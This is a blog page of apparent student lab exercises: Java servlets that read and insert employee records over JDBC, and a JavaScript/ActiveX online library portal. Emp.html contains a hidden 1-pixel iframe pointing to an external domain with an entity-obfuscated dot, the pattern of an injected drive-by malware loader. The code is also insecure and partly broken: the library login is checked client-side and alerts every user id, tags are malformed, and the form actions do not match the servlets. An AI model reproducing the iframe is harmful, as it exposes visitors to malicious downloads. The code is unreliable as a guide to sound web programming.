Showing posts with label HTML. Show all posts
Showing posts with label HTML. Show all posts

Employee Information System using JDBC and implementing the doGet() and doPost() method


Employee Information System using doGet( ) and doPost() Method

AIM
          To create an Employee Information System using JDBC and implementing the doGet() and doPost() method.

ALGORITHM
Step 1: Start the program.
Step 2: Create a Java Source file which creates an HttpServlet class called GetDeatils.
Step 3: Initialize the servlet.
Step 4: In the doGet() method, establish the connection with the DSN called emp.
Step 5: After connection establishment, query the database and select all records in the
            emp table.       
Step 6: Create another Java Source file that  creates an HttpServlet class called
            PostDeatils.
Step 7: Initialize the servlet.
Step 8: In the doPost() method, establish the connection with the DSN called emp.
Step 9: Create an XHTML file called emp.html.
Step 10: Invoke the GetDetails Class by clicking the GET button in the emp.html.
Step 11: Display all records in the web browser.
Step 12: Fill all the relevant employee information fields in emp.html file and click the
              POST button.
Step 13: The POST button invokes the PostDetails class.
Step 14: Insert a new record through by executing sql query and get record updated
Step 15: Close ResultSet and database connection.
 Step 7: Stop the process.


GetDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class GetDetails extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
   public void init(ServletConfig config) throws ServletException {
        super.init(config);
      
    con=null;
    out=null;
    rs=null;
    }
          public void destroy() {
     try
        {
   
      con.close();
      out.close();
      rs.close();
    }
    catch(SQLException se)
            {
      out.println(se.toString());
    }
    }
   
        protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
    }
    
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
    out=response.getWriter();
       try{
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pstmt=null;
      String query=null;
      query="select name,age,address,desig from emp";
      pstmt=con.prepareStatement(query);
      rs=pstmt.executeQuery();
      out.println("<b><center>Employee Details</center></b><br><br>");
      out.println("<table align=center border=1 cellpadding=2>");
      while(rs.next())
      {
        out.println("<tr>");
        out.println("<td>" + rs.getString("name") + "</td>");
        out.println("<td>" + rs.getString("age") + "</td>");
        out.println("<td>" + rs.getString("address") + "</td>");
        out.println("<td>" + rs.getString("desig") + "</td>");
        out.println("</tr>");
      }
      out.println("</table>");
      out.println("</body>");
    }
    catch(Exception e){
      out.println(e.toString());
    }
            
        processRequest(request, response);
  
    }
  }


PostDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class PostDetails  extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
    public void init(ServletConfig config) throws ServletException
    {
        super.init(config);
          
    con=null;
    out=null;
    rs=null;
    }
   
    public void destroy()
    {
      //con.close();
      out.close();
     // rs.close();
    }
   
      protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
      {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
      }
     
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
    {
       
        out=response.getWriter();
        String name=request.getParameter("name");
         String age=request.getParameter("age");
          String address=request.getParameter("address");
           String desig=request.getParameter("desig");
              String id=request.getParameter("id");
       try
       {
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pst=null;
     String sql = "insert into emp values (?,?,?,?,?)";
   pst = con.prepareStatement(sql);
  pst.setString(1, name);
  pst.setString(2, age);
  pst.setString(3, address);
  pst.setString(4, desig);
    pst.setString(5,id);
  pst.executeUpdate();
   out.println(" Updated ");
  
       }
    catch(Exception e){
      out.println(e.toString());
    }
         processRequest(request,response);
       
    }
      
}


Emp.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 
<html>
  <head>
      <title>Employment Information System</title>
      <h1 align=center>EMPLOYMENT INFORMATION SYSTEM<h1>
  </head>
  <body>
  
  <form action='EmployeeDetails' method="get">
<center> <label style='color:blue'>Click Here to View the Records:</label>  <input type='submit' value='Get'>
</center>
  </form>
  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
<form action ='S' method='post'>
<h1 align=center style='color:blue'> Enter the Employee Details Here!</h1>
<table border='2' ALIGN=center>
<tr>
<td> <label style='color:green'>Name: </label></td><td><input type=text name='name'></td>
</tr>
<tr>
<td> <label>Age:</label></td><td><input type=text name='age'></td>
</tr>  
<tr>
 <td><label>Address       :</label></td><td><input type=text name='address'></td>
  </tr>  <tr>
   <td><label>Designation:</label></td><td><input type=text name='desig'></td>
  </tr>  
<tr>
<td> <label>ID Number:</label> </td><td><input type=text name='id'></td>
</tr>  
<tr>
 <td><label>Click Here to Update the Records:</label><input type =submit method =post value='post' size='70' style='color:red'>
 </td>
</tr>
</tabel>
</form>
</body>
</html>

ONLINE PORTAL FOR DISTRIBUTED LIBRARY INFORMATION SYSTEM


ONLINE PORTAL FOR DISTRIBUTED LIBRARY INFORMATION SYSTEM
AIM:
            To create a online portal for distributed library information system using Java Script.

ALGORITHM:
STEP 1: Start the process.
STEP 2: Design the index.html code for checking the authorized user.
STEP 3: Design the books.html code and access through the index.html code.
STEP 4: Enter book name, author name, publication and edition details in the relevant text boxes and click the search button.
STEP 5: Display all the records which matches the above data.
STEP 6: Stop the process.

Index.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>Online Library Portal</title>
<script type="text/javascript" >
function login()
{
var con = new ActiveXObject("ADODB.Connection")
con.Open("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:/library.mdb")
var rs = new ActiveXObject("ADODB.Recordset")
rs.Open("select * from users",con)
while(!rs.EOF)
{alert(rs('id'))
if(rs('nam')==document.getElementById('unam').value&&rs('pass')==document.getElementById('pass').value)
{
rs.close()
con.close()
window.navigate('books.html')
}
rs.movenext
}
err.innerText='Wrong Credentials'
rs.close()
con.close()
}
</script>
</head>
<body>
<form id="log">
<table align="center" >
<tr><td>Username</td><td>
<input type="text" id="unam" style="width: 130px">
</td></tr>
<tr><td style="height: 53px">Password</td>
<td style="height: 53px">
<input type="password" id="pass" style="width: 130px"></td>
<td style="width: 103px; height: 53px;">
<label id="err"></label>
</td></tr>
<tr><td></td>
<td style="text-align:center ">
<input type="button" value="Log In" style="width: 70px; height: 26px" onclick="login()">
</td></tr>
</table>
</form>
</body>
</html>

Books.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<title>Online Library Portal</title>
<script type="text/javascript">
function sear() {
var con = new ActiveXObject("ADODB.Connection")
con.Open("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=D:/library.mdb")
var rs = new ActiveXObject("ADODB.Recordset")
rs.Open("select * from books",con)
var ta='<table align=\'center\' width=\'80%\' border=\'1\'><tr><th>Book</th><th>Author</th><th>Publisher</th><th>Edition</th></tr>'
while(!rs.EOF)  {
if(rs('nam')==document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')==document.getElementById('pub').value&&rs('edi')==document.getElementById('edi').value)
{
ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>'
}
rs.movenext
}
rs.movefirst
while(!rs.EOF)
{
if(rs('nam')==document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')==document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value)
{
ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>'
}
rs.movenext
}
rs.movefirst
while(!rs.EOF)
{
if(rs('nam')==document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value)
{
ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>'
}
rs.movenext
}
rs.movefirst
while(!rs.EOF)
{
if(rs('nam')==document.getElementById('book').value&&rs('author')!=document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value)
{
ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>'
}
rs.movenext
}
rs.movefirst
while(!rs.EOF)
{
if(rs('nam')!=document.getElementById('book').value&&rs('author')==document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value)
{
ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>'
}
rs.movenext
}
rs.movefirst
while(!rs.EOF)
{
if(rs('nam')!=document.getElementById('book').value&&rs('author')!=document.getElementById('auth').value&&rs('publisher')==document.getElementById('pub').value&&rs('edi')!=document.getElementById('edi').value)
{
ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>'
}
rs.movenext
}
rs.movefirst
while(!rs.EOF)
{
if(rs('nam')!=document.getElementById('book').value&&rs('author')!=document.getElementById('auth').value&&rs('publisher')!=document.getElementById('pub').value&&rs('edi')==document.getElementById('edi').value)
{
ta+='<tr><td><a href="books/'+rs('id')+'.pdf">'+rs('nam')+'</a></td><td>'+rs('author')+'</td><td>'+rs('publisher')+'</td><td>'+rs('edi')+'</td></tr>'
}
rs.movenext
}
ta+='</table>'
result.innerHTML=ta
rs.close()
con.close()
}
</script>
</head>
<body>
<form id="search">
<table align="center" >
<tr><td>Book</td>
<td><input type="text" id="book" style="width: 200px">
</td> </tr>
 <tr> <td> Author</td><td>
<input type="text" id="auth" style="width: 200px">
</td></tr>
<tr><td>Publisher</td>
<td><input type="text" id="pub" style="width: 200px">
</td> </tr>
<tr><td>Edition</td>
<td><input type="text" id="edi" style="width: 200px">
</td></tr>
<tr><td></td>
<td style="text-align:center ">
<input type="button" id="search" value="Search" onclick="sear()">
</td></tr>
</table>
</form>
<div id="result">   </div>
</body>
</html>